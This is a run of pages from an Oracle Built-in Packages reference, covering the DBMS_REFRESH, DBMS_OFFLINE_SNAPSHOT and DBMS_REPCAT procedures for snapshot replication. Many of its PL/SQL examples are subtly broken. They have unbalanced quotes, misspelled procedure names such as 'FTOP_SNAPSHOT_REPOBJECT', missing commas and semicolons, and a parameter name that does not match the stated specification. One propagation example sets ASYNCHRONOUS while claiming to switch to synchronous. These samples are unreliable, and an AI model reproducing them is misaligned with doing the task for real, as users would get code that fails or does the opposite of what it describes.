14.2.2.2 The DBMS_REFRESH.DESTROY procedure

Call the DESTROY procedure to destroy a snapshot group. For both Oracle7 and Oracle8, you call DESTROY as follows,

PROCEDURE DBMS_REFRESH.DESTROY (name IN VARCHAR2);

where name is the name of the snapshot group to be destroyed.

The DESTROY procedure raises the following exception:

Name | Number | Description
ORA-23404 | -23404 | Refresh group name does not exist

14.2.2.2.1 Example

This example destroys the snapshot group SG_ADDR_TABS:

BEGIN
    DBMS_REFRESH.DESTROY( name => 'SG_ADDR_TABS' );
END;

This example does not drop the member snapshots themselves; however, they will not be refreshed again unless you either add them to another snapshot group, or refresh them manually with the DBMS_SNAPSHOT.REFRESH procedure.

14.2.3 Adding and Subtracting Snapshots from Snapshot Groups

With the ADD and SUBTRACT procedures, you can add and subtract the snapshots in a snapshot group after you have created the group. As with the other DBMS_REFRESH procedures, you must call these procedures from the snapshot site.

NOTE: A snapshot group cannot have more than 100 members.

14.2.3.1 The DBMS_REFRESH.ADD procedure

Call the ADD procedure to add a snapshot group. The specification follows:

PROCEDURE DBMS_REFRESH.ADD
   (name IN VARCHAR2,
   {list IN VARCHAR2,| tab IN dbms_utility.uncl_array,}
    lax IN BOOLEAN  DEFAULT FALSE );

The parameters for the ADD procedure have the same meaning as in the MAKE procedure; refer to the parameter table in that section. Note that you must select the list or tab parameter, but not both.

The ADD procedure does not raise any exceptions.

14.2.3.1.1 Example

This example uses the ADD procedure to add the snapshots PROVINCES and CONTINENTS to the existing snapshot group SG_ARR_TABS:

BEGIN
    DBMS_REFRESH.ADD
         (name => 'SG_ADDR_TABS', list => 'PROVINCES', CONTINENTS');
END;

14.2.3.2 The DBMS_REFRESH.SUBTRACT procedure

Call the SUBTRACT procedure to subtract a snapshot group. The specification follows:

PROCEDURE DBMS_REFRESH.SUBTRACT
    (name IN VARCHAR2,
    {list IN VARCHAR2,| tab IN dbms_utility.uncl_array,}
     lax IN BOOLEAN  DEFAULT FALSE );

The parameters for the SUBTRACT procedure have the same meaning as in the MAKE procedure; refer to the parameter table in that section. Note that you must select the list or tab parameter, but not both.

The SUBTRACT procedure does not raise any exceptions.

14.2.3.2.1 Example

The following example removes the snapshots STATES and COUNTRIES from the existing snapshot group SG_ADDR_TABS. Since we also specified lax = TRUE, the call also drops the snapshot group if there are no other member snapshots remaining.

BEGIN
    DBMS_REFRESH.SUBTRACT( name => 'SG_ADDR_TABS',
                           list => 'STATES', COUNTRIES',
                           lax => TRUE);
END;

14.2.4 Altering Properties of a Snapshot Group

The CHANGE procedure allows you to modify settings associated with a snapshot group. You can change any of the parameters that are available in DBMS_REFRESH.MAKE:

interval
implicit_destroy
rollback_segment
push_deferred_rpc
refresh_after_errors
purge_option (Oracle8 only)
parallelism (Oracle8 only)
heap_size (Oracle8 only)

Refer to the MAKE section for an explanation of these parameters.

14.2.4.1 The DBMS_REFRESH.CHANGE procedure

Call the CHANGE procedure to modify a snapshot group's setting. The specifications for CHANGE differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REFRESH.CHANGE
   (name IN VARCHAR2,
    next_date IN DATE DEFAULT NULL,
    interval IN VARCHAR2 DEFAULT NULL,
    implicit_destroy IN BOOLEAN DEFAULT NULL,
    rollback_seg IN VARCHAR2 DEFAULT NULL,
    push_deferred_rpc IN BOOLEAN DEFAULT NULL,
    refresh_after_errors IN BOOLEAN DEFAULT NULL);

Here is the Oracle8 specification:

PROCEDURE DBMS_REFRESH.CHANGE
   (name IN VARCHAR2,
    next_date IN DATE := NULL,
    interval IN VARCHAR2 := NULL,
    implicit_destroy IN BOOLEAN := NULL,
    rollback_seg IN VARCHAR2 := NULL,
    push_deferred_rpc IN BOOLEAN := NULL,
    refresh_after_errors IN BOOLEAN := NULL,
    purge_option IN BINARY_INTEGER := NULL,
    parallelism IN BINARY_INTEGER := NULL,
    heap_size IN BINARY_INTEGER := NULL);

As with the MAKE procedure, the difference between the Oracle7 and Oracle8 CHANGE specifications is the inclusion of support for parallel propagation and purging in the Oracle8 version.

The CHANGE procedure does not raise any exceptions

14.2.5 Manually Refreshing Snapshot Groups

The REFRESH procedure refreshes a snapshot group.

14.2.5.1 The DBMS_REFRESH.REFRESH procedure

Call REFRESH to refresh a snapshot group. A call to REFRESH causes all members of snapshot group name to be refreshed with the settings that you have designated in DBMS_REFRESH.MAKE and/or DBMS_REFRESH.CHANGE. The specification is,

PROCEDURE DBMS_REFRESH.REFRESH (name IN VARCHAR2);

where name identifies the snapshot group.

The REFRESH procedure does not raise any exceptions.

Previous: 14.1 DBMS_SNAPSHOT: Managing Snapshots | Oracle Built-in Packages | Next: 14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation
14.1 DBMS_SNAPSHOT: Managing Snapshots | Book Index | 14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation

The DBMS_OFFLINE_SNAPSHOT package allows you to instantiate snapshots without having to run the CREATE SNAPSHOT command or the DBMS_REPEAT.SNAPSHOT_REPOBJECT procedure over the network (those methods are described under DBMS_REPCAT, later in this chapter). Doing offline instantiation in this way is particularly useful in cases where you wish to instantiate a snapshot site with a large amount of data in an advanced replication environment. Offline instantiation refers to the population of snapshots with the import and export utilities, as opposed to using the DBMS_SNAPSHOT.REFRESH procedure. This technique is less time-consuming and less taxing on your network, and it minimizes the time your environment must be quiesced.

You will typically use DBMS_OFFLINE_SNAPSHOT's BEGIN_LOAD and END_LOAD procedures in conjunction with the DBMS_REPCAT package's CREATE_SNAPSHOT_REPGROUP procedure; this procedure creates a new replicated snapshot group. The following sections summarize the syntax of the calls to BEGIN_LOAD and END_LOAD. See the later section Section 14.4, "DBMS_REPCAT: Managing Snapshot Replication Groups"" for a discussion of the DBMS_REPCAT procedure and how these procedures work together to instantiate snapshots in an advanced replication environment.

14.3.1 Getting Started with DBMS_OFFLINE_SNAPSHOT

The DBMS_OFFLINE_SNAPSHOT package is created when the Oracle database is installed. The dbmsofln.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtofln.plb creates the public synonym DBMS_OFFLINE_SNAPSHOT. No EXECUTE privileges are granted on DBMS_OFFLINE_SNAPSHOT; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

14.3.1.1 DBMS_OFFLINE_SNAPSHOT programs

Table 14.4 summarizes the programs available through DBMS_OFFLINE_SNAPSHOT.

Table 14.4: DBMS_OFFLINE_SNAPSHOT Programs
Name | Description | Use in SQL?
BEGIN_LOAD | Call before beginning to load data from an export file | No
END_LOAD | Call after the load is complete | No

14.3.1.2 DBMS_OFFLINE_SNAPSHOT exceptions

The DBMS_OFFLINE_SNAPSHOT package raises the following exceptions:

Name | Number | Description
badargument | -23430 | The gname, sname, master_site, or snapshot_oname parameter is NULL or".
missingremotesnap | -23361 | The snapshot_oname parameter does not exist at the remote master site (master_site parameter).
snaptabmismatch | -23363 | The base table name of the snapshot at master site and snapshot site do not match.

14.3.2 DBMS_OFFLINE_SNAPSHOT Interface

This section describes the programs available through the DBMS_OFFLINE_SNAPSHOT package.

14.3.2.1 The DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD procedure

Call the BEGIN_LOAD procedure before beginning to load data from an export file. The specifications for the Oracle7 and Oracle8 versions differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD
   (gname IN VARCHAR2,
    sname IN VARCHAR2,
    master_site IN VARCHAR2,
    snapshot_oname IN VARCHAR2,
    storage_c IN VARCHAR2 := '',
    comment IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD
   (gname IN VARCHAR2,
    sname IN VARCHAR2,
    master_site IN VARCHAR2,
    snapshot_oname IN VARCHAR2,
    storage_c IN VARCHAR2 := '',
    comment IN VARCHAR2 := '',
    min_communicatio IN BOOLEAN := TRUE );

Parameters are summarized in the following table.

Name | Description
gname | The replication group to which the new snapshot belongs.
sname | The schema that owns the new snapshot.
master_site | The global name of the snapshot master site.
snapshot_oname | The name of the temporary snapshot created at the master site.
storage_c | Optional storage clause for the new snapshot.
comment | Optional comment for the snapshot; stored with entry in DBA_SNAPSHOTS if supplied.
min_communication (Oracle8 only) | The min_communication parameter controls how the update trigger on updateable snapshots queues changes back to the master site. If this parameter is set to TRUE (the default), then old column values are sent only if the update changes their value. New column values are sent only if the column is part of primary key, or if the column is in a column group that has been modified.

The BEGIN_LOAD procedure does not raise any exceptions.

14.3.2.2 The DBMS_OFFLINE_SNAPSHOT.END_LOAD procedure

Call the END_LOAD procedure after the data import (initiated by the BEGIN_LOAD procedure) is complete. The specification is the same for Oracle7 and Oracle8:

PROCEDURE DBMS_OFFLINE_SNAPSHOT.END_LOAD
   (gname IN VARCHAR2,
    sname IN VARCHAR2,
    snapshot_oname IN VARCHAR2);

Parameters have the same meanings as for the BEGIN_LOAD procedure (see the previous section). The END_LOAD procedure does not raise any exceptions.

Previous: 14.2 DBMS_REFRESH: Managing Snapshot Groups | Oracle Built-in Packages | Next: 14.4 DBMS_REPCAT: Managing Snapshot Replication Groups
14.2 DBMS_REFRESH: Managing Snapshot Groups | Book Index | 14.4 DBMS_REPCAT: Managing Snapshot Replication Groups
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.4 DBMS_REPCAT: Managing Snapshot Replication Groups

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

14.4 DBMS_REPCAT: Managing Snapshot Replication Groups

Although most of the procedures in the DBMS_REPCAT package are used to create and maintain the advanced replication environment, some of the procedures let you manipulate snapshot replication groups. This section describes only the snapshot-related programs. The bulk of the DBMS_REPCAT programs are described in Chapters 15 and 16.

The procedures in DBMS_REPCAT used for manipulating snapshot replication groups are in large measure analogous to the procedures DBMS_REFRESH provides for manipulating simple snapshot groups.

14.4.1 Getting Started with DBMS_REPCAT

The DBMS_REPCAT package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The script creates the public synonym DBMS_REPCAT. The package procedure DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT grants EXECUTE privileges on the package to the specified grantee. In addition, the package owner (SYS) and users with the EXECUTE ANY PROCEDURE system privilege may execute it.

14.4.1.1 DBMS_REPCAT programs

Table 14.5 lists only the DBMS_REPCAT snapshot-related programs; see Tables 15-3 and 16-10 for the remaining DBMS_REPCAT programs.

Table 14.5: DBMS_REPCAT Programs (Snapshots Only)
Name | Description | Use in SQL
ALTER_SNAPSHOT_PROPAGATION | Changes a snapshot replication group's propagation mode | No
CREATE_SNAPSHOT_REPGROUP | Creates a snapshot replication group | No
CREATE_SNAPSHOT_REPOBJECT | Adds an object to a snapshot replication group | No
DROP_SNAPSHOT_REPGROUP | Drops a snapshot replication group | No
DROP_SNAPSHOT_REPOBJECT | Drops an object from a snapshot replication group | No
REFRESH_SNAPSHOT_REPGROUP | Refreshes a snapshot replication group | No
SWITCH_SNAPSHOT_MASTER | Remasters a snapshot site to another master site | No

14.4.1.2 DBMS_REPCAT exceptions

DBMS_REPCAT defines the following exceptions for the programs listed in Table 14.6.

Table 14.6: DBMS_REPCAT Exceptions
Name | Number | Description
commfailure | -23317 | Unable to communicate with master
dbnotcompatible | -23375 | Attempt to use SYNCHRONOUS propagation in Pre-7.3 database
ddlfailure | -23318 | Unable to perform DDL
duplicateobject | -23309 | Object oname already exists
duplicaterepgroup | -23374 | Replication group gname already exists
missingobject | -23308 | Object oname does not exist in master's replication group gname
missingremoteobject | -23381 | Master site has not generated replication support for oname
missingrepgroup | -23373 | Replication group gname does not exist
missingschema | -23306 | Schema sname does not exist
misssnapobject | -23355 | Object oname does not exist at master
nonmaster | -23312 | Master site associated with snapshot group is no longer a master site
nonsnapshot | -23314 | Calling site is not a snapshot site
norepoption | -23364 | Replication option not installed
typefailure | -23319 | propagation_mode not specified correctly

14.4.2 Creating and Dropping Snapshot Replication Groups

The CREATE_SNAPSHOT_REPGROUP and DROP_SNAPSHOT_REPGROUP procedures allow you to create and destroy snapshot replication groups.

14.4.2.1 The DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP procedure

This procedure creates a new, empty snapshot replication group. You must invoke it from the snapshot site. The program specification follows:

PROCEDURE DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP
   (gname IN VARCHAR2,
    master IN VARCHAR2,
    comment IN VARCHAR2 := '',
    propagation_mode IN VARCHAR2  := 'ASYNCHRONOUS');

Parameters are summarized in the following table.

Name | Description
gname | Name of the new snapshot group
master | Global name of master site
comment | Comment for the snapshot group; visible in DBA_REPSITES data dictionary view
propagation_mode | Snapshot propagation mode (SYNCHRONOUS, or ASYNCHRONOUS)

14.4.2.1.1 Exceptions

The CREATE_SNAPSHOT_REPGROUP procedure raises the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master
dbnotcompatible | -23375 | Attempt to use SYNCHRONOUS propagation in pre-7.3 database
duplicaterepgroup | -23374 | Replication group gname already exists
nonmaster | -23312 | The master parameter is not a master site
norepoption | -23364 | Replication option not installed
typefailure | -23319 | propagation_mode not specified correctly

14.4.2.1.2 Restrictions

Note the following restrictions on calling CREATE_SNAPSHOT_REPGROUP:

  • You must be connected to the replication administrator account (typically REPADMIN) to call the CREATE_SNAPSHOT_REPGROUP procedure.

  • The snapshot group name must match the name of the master replication group.

14.4.2.2 The offline snapshot instantiation procedure

The procedure for performing offline instantiation of snapshots in an advanced replication environment (using the CREATE SNAPSHOT command and the DBMS_OFFLINE_SNAPSHOT and DBMS_REPCAT packages) follows:

  1. Create a snapshot log for each master table if one does not already exist.

  2. Create a snapshot of each master table in the master database, and in the same schema as the master table. Of course, the name of the snapshot will have to be different from the name of the master table. The CREATE SNAPSHOT statement must also include a loopback database link qualifier.

CREATE SNAPSHOT snp_countries
AS SELECT * FROM countries@D7CA.BIGWHEEL.COM@TCPIP

  3. Perform user exports of all schema that own master tables. You should be logged on to the schema owner account for these exports. The only tables that you need to export are the snapshot base tables -- that is, those whose names begin with "SNAP$_".

  4. Copy the export dump file(s) to the new snapshot site(s).

  5. Use CREATE_SNAPSHOT_REPGROUP at the snapshot sites to create a new snapshot replication object group. The name of this object group should be the same as the name of the replication group of which the master tables are members.

    BEGIN
    DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP(
        gname 		=> 'SPROCKET',
        master 		=> 'D7CA.BIGWHEEL.COM',
        comment		=> 'Group created on '||sysdate|| ' by '||user,
        propagation_mode=> 'ASYNCHRONOUS');
END;

  6. Call DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD to begin loading the data from the export file(s). You must call the procedure for every snapshot you plan to import.

    BEGIN
    DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD(
        gname		=>	'SPROCKET',
        sname		=>	'SPROCKET',
        master_site	=>	'D7CA.BIGWHEEL.COM'
        snapshot_oname	=>	'SNP_COUNTRIES'
        storage_c	=>	'TABLESPACE sprocket_data STORAGE (INITIAL 64K)'
        comment		=>	'Load of COUNTRIES snapshot begun at '||sysdate);
END;

  7. Import the snapshot base table(s) from the export file(s) created in step 4.

  8. Call DBMS_OFFLINE_SNAPSHOT.END_LOAD for each snapshot when the load is complete.

    BEGIN
    DBMS_OFFLINE_SNAPSHOT.END_LOAD(
        gname		=> 'SPROCKET'
        sname		=> 'SPROCKET'
        snapshot_oname	=> 'SNP_COUNTRIES');
END;

14.4.2.3 The DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP procedure

The DBMS_REPCAT package's DROP_SNAPSHOT_REPGROUP procedure is the counterpart to the CREATE_SNAPSHOT_REPGROUP procedure. As you would suspect, this procedure drops an existing snapshot replication group, and optionally, all member snapshots. Here's the specification:

PROCEDURE DBMS_REPCAT>DROP_SNAPSHOT_REPGROUP
   (gname IN VARCHAR2,
    drop_contents IN BOOLEAN := FALSE);

Parameters are summarized in the following table.

Name | Description
gname | Name of the snapshot group.
drop_contents | If TRUE, objects in gname are dropped. If FALSE (the default) they are simply no longer replicated.

14.4.2.3.1 Exceptions

The DROP_SNAPSHOT_REPGROUP procedure raises the following exceptions:

Name | Number | Description
missingrepgroup | -23373 | Replication group gname does not exist
nonmaster | -23313 | Calling site is not a snapshot site

14.4.2.3.2 Restrictions

If drop_contents is set to FALSE, the triggers created to support snapshot modifications remain.

14.4.2.3.3 Example

The following example illustrates the dropping of a snapshot replication group with the DROP_SNAPSHOT_REPGROUP procedure:

BEGIN
    DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP(
    gname		=> 'SPROCKET',
    drop_objects	=> TRUE);
END;

Here, we drop the snapshot replication group SPROCKET and drop the member snapshots as well.

14.4.3 Adding and Removing Snapshot Replication Group Objects

The CREATE_SNAPSHOT_REPOBJECT and DROP_SNAPSHOT_REPOBJECT procedures add and remove objects, respectively, from a snapshot replication group. These objects may be snapshots, packages, package bodies, procedures, synonyms, or views.

14.4.3.1 The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure

The CREATE_SNAPSHOT_REPOBJECT procedure adds an object to a snapshot replication group. For new snapshot objects, this procedure generates row-level replication triggers for snapshots if the master table uses row-level replication. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT. CREATE_SNAPSHOT_REPOBJECT
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    type IN VARCHAR2,
    ddl_text IN VARCHAR2 := '',
    comment IN VARCHAR2 := '',
    gname IN VARCHAR2 := '',
    gen_objs_owner IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    type IN VARCHAR2,
    ddl_text IN VARCHAR2 := '',
    comment IN VARCHAR2 := '',
    gname IN VARCHAR2 := '',
    gen_objs_owner IN VARCHAR2 := '',
    min_communication IN BOOLEAN  := TRUE);

NOTE: The only difference between the Orace7 and Oracle8 implementations is the addition of the min_communication parameter in Oracle8.

Parameters are summarized in the following table.

Name | Description
sname | Name of schema to which oname belongs.
oname | Name of object to be added.
type | Object type. Supported types are PACKAGE, PACKAGE BODY, PROCEDURE, SNAPSHOT, SYNONYM, and VIEW.
ddl_text | DDL used to create object (for type SNAPSHOT only).
comment | Comment on object, visible in DBA_REPOBJECT data dictionary view.
gname | Name of snapshot group to which object is being added. Defaults to sname if not specified.
gen_objs_owner | Name of the schema in which to create the generated trigger and trigger package or procedure wrapper for the object. Defaults to sname.
drop_objects | If set to TRUE, object is dropped too. If FALSE (the default), object is only removed from the snapshot group.
min_communication (Oracle8 only) | Must be FALSE if any master site is running Oracle7. TRUE, the default setting, uses the minimum communication algorithm.

14.4.3.1.1 Exceptions.

CREATE_SNAPSHOT_REPGROUP raises the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master site
ddlfailure | -23318 | Unable to perform DDL
duplicateobject | -23309 | Object oname already exists
missingobject | -23308 | Object oname does not exist in master's replication group gname
missingremoteobject | -23381 | Master site has not generated replication support for oname
missingschema | -23306 | Schema sname does not exist
misssnapobject | -23355 | Object oname does not exist at master
nonmaster | -23312 | Master site associated with snapshot group is no longer a master site
nonsnapshot | -23314 | Calling site is not a snapshot site
typefailure | -23319 | Invalid value for type

NOTE: CREATE_SNAPSHOT_REPOBJECT is called from the replication administrator (typically REPADMIN) account. If you are creating an snapshot with ddl_text, be sure to specify the schema in which it should be created (if other than the replication administrator account).

14.4.3.1.2 Example

The following example illustrates how to add an object to an existing snapshot replication group:

BEGIN
    DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT(
        sname		=> 'SPROCKET',
        oname		=> 'PRICE_LIST',
        type 		=> 'SNAPSHOT' ,
        ddl_text=>
'CREATE SNAPSHOT  SPROCKET.PRICES AS SELECT * FROM
    PRICES@D7CA.BIGWHEEL.COM' ,
        gnam		 => 'SPROCKET',
        gen_objs_owner => 'SPROCKET')
END;
BEGIN

14.4.3.2 The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure

The DROP_SNAPSHOT_REPOBJECT procedure drops an object from a snapshot replication group.

PROCEDURE DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    type IN VARCHAR2,
    drop_objects IN BOOLEAN := FALSE);.

For parameter descriptions, see the table in the Section 14.4.3.1, "The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure"" section.

14.4.3.2.1 Exceptions

DROP_SNAPSHOT_REPOBJECT raises the following exceptions:

Name | Number | Description
missingobject | -23308 | Object oname does not exist in master's replication group gname
nonsnapshot | -23314 | Calling site is not a snapshot site
typefailure | -23319 | Invalid value for type

14.4.3.2.2 Restrictions

If the type parameter in DROP_REPOBJECT is SNAPSHOT and you do not set the drop_objects parameter to TRUE, replication triggers and associated packages remain in the schema, and deferred transactions (if any) remain in the DEFTRANS queue.

14.4.3.2.3 Example

The following example drops an object from a snapshot replication group:

DBMS_REPCAT.FTOP_SNAPSHOT_REPOBJECT(
    sname	=> 'SPROCKET',
    oname	=> 'PRICE_LIST',
    type 	=> 'SNAPSHOT',
    drop_objects=> TRUE);
END;

14.4.4 Altering a Snapshot Replication Group's Propagation Mode

The ALTER_SNAPSHOT_PROPAGATION procedure changes a snapshot replication group's propagation mode. The propagation mode can be either SYNCHRONOUS or ASYNCHRONOUS. When you call this procedure, Oracle does the following:

  • Pushes any transactions that exist in the deferred RPC queue for the group

  • Locks the snapshot base tables (SNAP$_<tablename>)

  • Regenerates replication triggers and packages for the objects in the group

14.4.4.1 The DBMS_REPCAT.ALTER_SNAPSHOT_PROPAGATION procedure

Call the ALTER_SNAPSHOT_PROPAGATION procedure to change the propagation mode of a particular snapshot. Specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ALTER_SNAPSHOT_PROPAGATION
   (alter_snapshot_propagation(
    gname IN VARCHAR2,
    propagation_mode IN VARCHAR2,
    comment IN VARCHAR2 := '',
    execute_as_user  IN BOOLEAN  := FALSE);

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ALTER_SNAPSHOT_PROPAGATION
   (gname IN VARCHAR2,
    propagation_mode IN VARCHAR2,
    comment IN VARCHAR2 := '' );

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to be altered
propagation_mode | The new propagation mode to use (SYNCHRONOUS or ASYNCHRONOUS)
comment | Comment visible in DBA_REPPROP data dictionary view
execute_as_user (Oracle7 only) | FALSE (default) indicates that remote system will authenticate calls using authentication context user who originally queued the RPC; TRUE indicates that remote system will use authentication context of the session user

14.4.4.1.1 Exceptions

ALTER_SNAPSHOT_PROPAGATION raises the following exceptions:

Name | Number | Description
dbnotcompatible | -23375 | Database version is not 7.3 or later
missingrepgroup | -23373 | Replication group gname does not exist
typefailure | -23319 | Invalid propagation_mode

14.4.4.1.2 Restrictions

ALTER_SNAPSHOT_PROPAGATION must be called from a snapshot site.

14.4.4.1.3 Example

The following example shows how to switch from asynchronous to synchronous propagation for a given snapshot replication group:

BEGIN
    DBMS_REPCAT.ALTER_SNAPSHOT_PROPAGATION(
    gname               => 'SPROCKET',
    propagation_mode	=> 	'ASYNCHRONOUS',
    comment	=> 	'Mode set to asynchronous on ' ||sysdate||
            'by '||user);
END;

14.4.5 Manually Refreshing a Snapshot Replication Group

You can use the REFRESH_SNAPSHOT_REPGROUP to refresh manually a snapshot replication group. The procedure can optionally drop objects that are no longer in the group, and/or refresh the snapshots and other objects.

NOTE: The REFRESH_SNAPSHOT_REPGROUP procedure replaces the REFRESH_SNAPSHOT_REPSCHEMA procedure. Although REFRESH_SNAPSHOT_REPSCHEMA still exists (as of Oracle 7.3.3), do not use it; it does not exist in Oracle 8.0.3.

14.4.5.1 The DBMS_REPCAT.REFRESH_SNAPSHOT_REPGROUP procedure

Call the DBMS_REPCAT.REFRESH_SNAPSHOT_REPGROUP procedure to refresh a snapshot replication group manually. Specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.REFRESH_SNAPSHOT_REPGROUP
   (gname IN VARCHAR2,
    drop_missing_contents IN BOOLEAN := FALSE,
    refresh_snapshots IN BOOLEAN := FALSE,
    refresh_other_objects IN BOOLEAN := FALSE,
    execute_as_user IN BOOLEAN:= FALSE);

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.REFRESH_SNAPSHOT_REPGROUP
   (gname IN VARCHAR2,
    drop_missing_contents IN BOOLEAN := FALSE,
    refresh_other_objects IN BOOLEAN := FALSE )

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group.
drop_missing_contents | If TRUE, drop schema objects that are no longer in the snapshot group. If FALSE (the default), objects are simply no longer replicated.
refresh_snapshots | If TRUE, force a refresh of snapshots in gname. Default is FALSE.
refresh_other_objects | If TRUE, refresh non-snapshot objects in gname, such as views and procedures. Non-snapshot objects are refreshed by dropping and recreating them. Default is FALSE.
execute_as_user (Oracle7 only) | FALSE (default) indicates that the remote system will authenticate calls using the authentication context user who originally queued the RPC; TRUE indicates that remote system will use authentication context of the session user.

14.4.5.1.1 Exceptions

REFRESH_SNAPSHOT_REPGROUP raises the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with the master site
nonmaster | -23313 | Master is no longer a master database
nonsnapshot | -23314 | Calling site is not a snapshot site

14.4.5.1.2 Restrictions

REFRESH_SNAPSHOT_REPGROUP must be called from a snapshot site.

14.4.5.1.3 Example

The following example illustrates how REFRESH_SNAPSHOT_REPGROUP is commonly used:

BEGIN
    DBMS_REPCAT.REFRESH_SNAPSHOT_REPGROUP(
        gname => 'SPROCKET',
        drop_missing_contents				=> TRUE,
        refresh_snapshots				=> TRUE,
        refresh_other_objects				=> TRUE)
END;

This example refreshes all snapshots in group SPROCKET, drops schema objects that are no longer in the group, and recreates any views, procedures, or synonyms that have been created or altered at the master site.

14.4.6 Switching the Master of a Snapshot Replication Group

Should it ever become necessary to point a snapshot replication group to a different master site, you can do it with the SWITCH_SNAPSHOT_MASTER procedure.

14.4.6.1 The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure

The SWITCH_SNAPSHOT_MASTER procedure lets you switch a snapshot replication group to a different master site. This procedure changes the master site for the specified snapshot group. The new master site must contain a replica of the replication group gname. The next time the snapshot group refreshes, Oracle performs a full refresh. The specifications for SWITCH_SNAPSHOT_MASTER differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDUREDBMS_REPCAT.SWITCH_SNAPSHOT_MASTER
   (gname IN VARCHAR2 := '',
    master IN VARCHAR2,
    execute_as_user IN BOOLEAN  = FALSE,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER
   (gname IN VARCHAR2 := '',
    master IN VARCHAR2)

Parameters are summarized in the following table.

Name | Description
gname | Name of the snapshot group
master | Name of the new master site
execute_as_user (Oracle7 only) | FALSE (default) indicates that the remote system will authenticate calls using the authentication context user who originally queued the RPC; TRUE indicates that remote system will use authentication context of the session user
sname (Oracle7 only) | Not used

14.4.6.1.1 Exceptions

The SWITCH_SNAPSHOT_MASTER procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master site
nonmaster | -23312 | The master parameter is not a master site
nonsnapshot | -23314 | Calling site is not a snapshot site

14.4.6.1.2 Restrictions

Note the following restrictions on calling SWITCH_SNAPSHOT_MASTER:

  • The new master site must contain a replica of the replication group gname.

  • Snapshots whose query is greater than 32K cannot be remastered.

14.4.6.1.3 Example

The following call remasters snapshot group SPROCKET to D7NY.BIGWHEEL.COM:

BEGIN
    DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER(
        gname		=> 'SPROCKET',
        master		=> 'D7NY.BIGWHEEL.COM')
END

NOTE: Put snapshot logs on the master tables at the new master site so that you can use fast refreshes.

Figure Figure 14.3 graphically illustrates this example.

Figure 14.3: Using DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER

Previous: 14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation | Oracle Built-in Packages | Next: 15. Advanced Replication
14.3 DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation | Book Index | 15. Advanced Replication
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] Advanced Replication

Oracle Built-in Packages

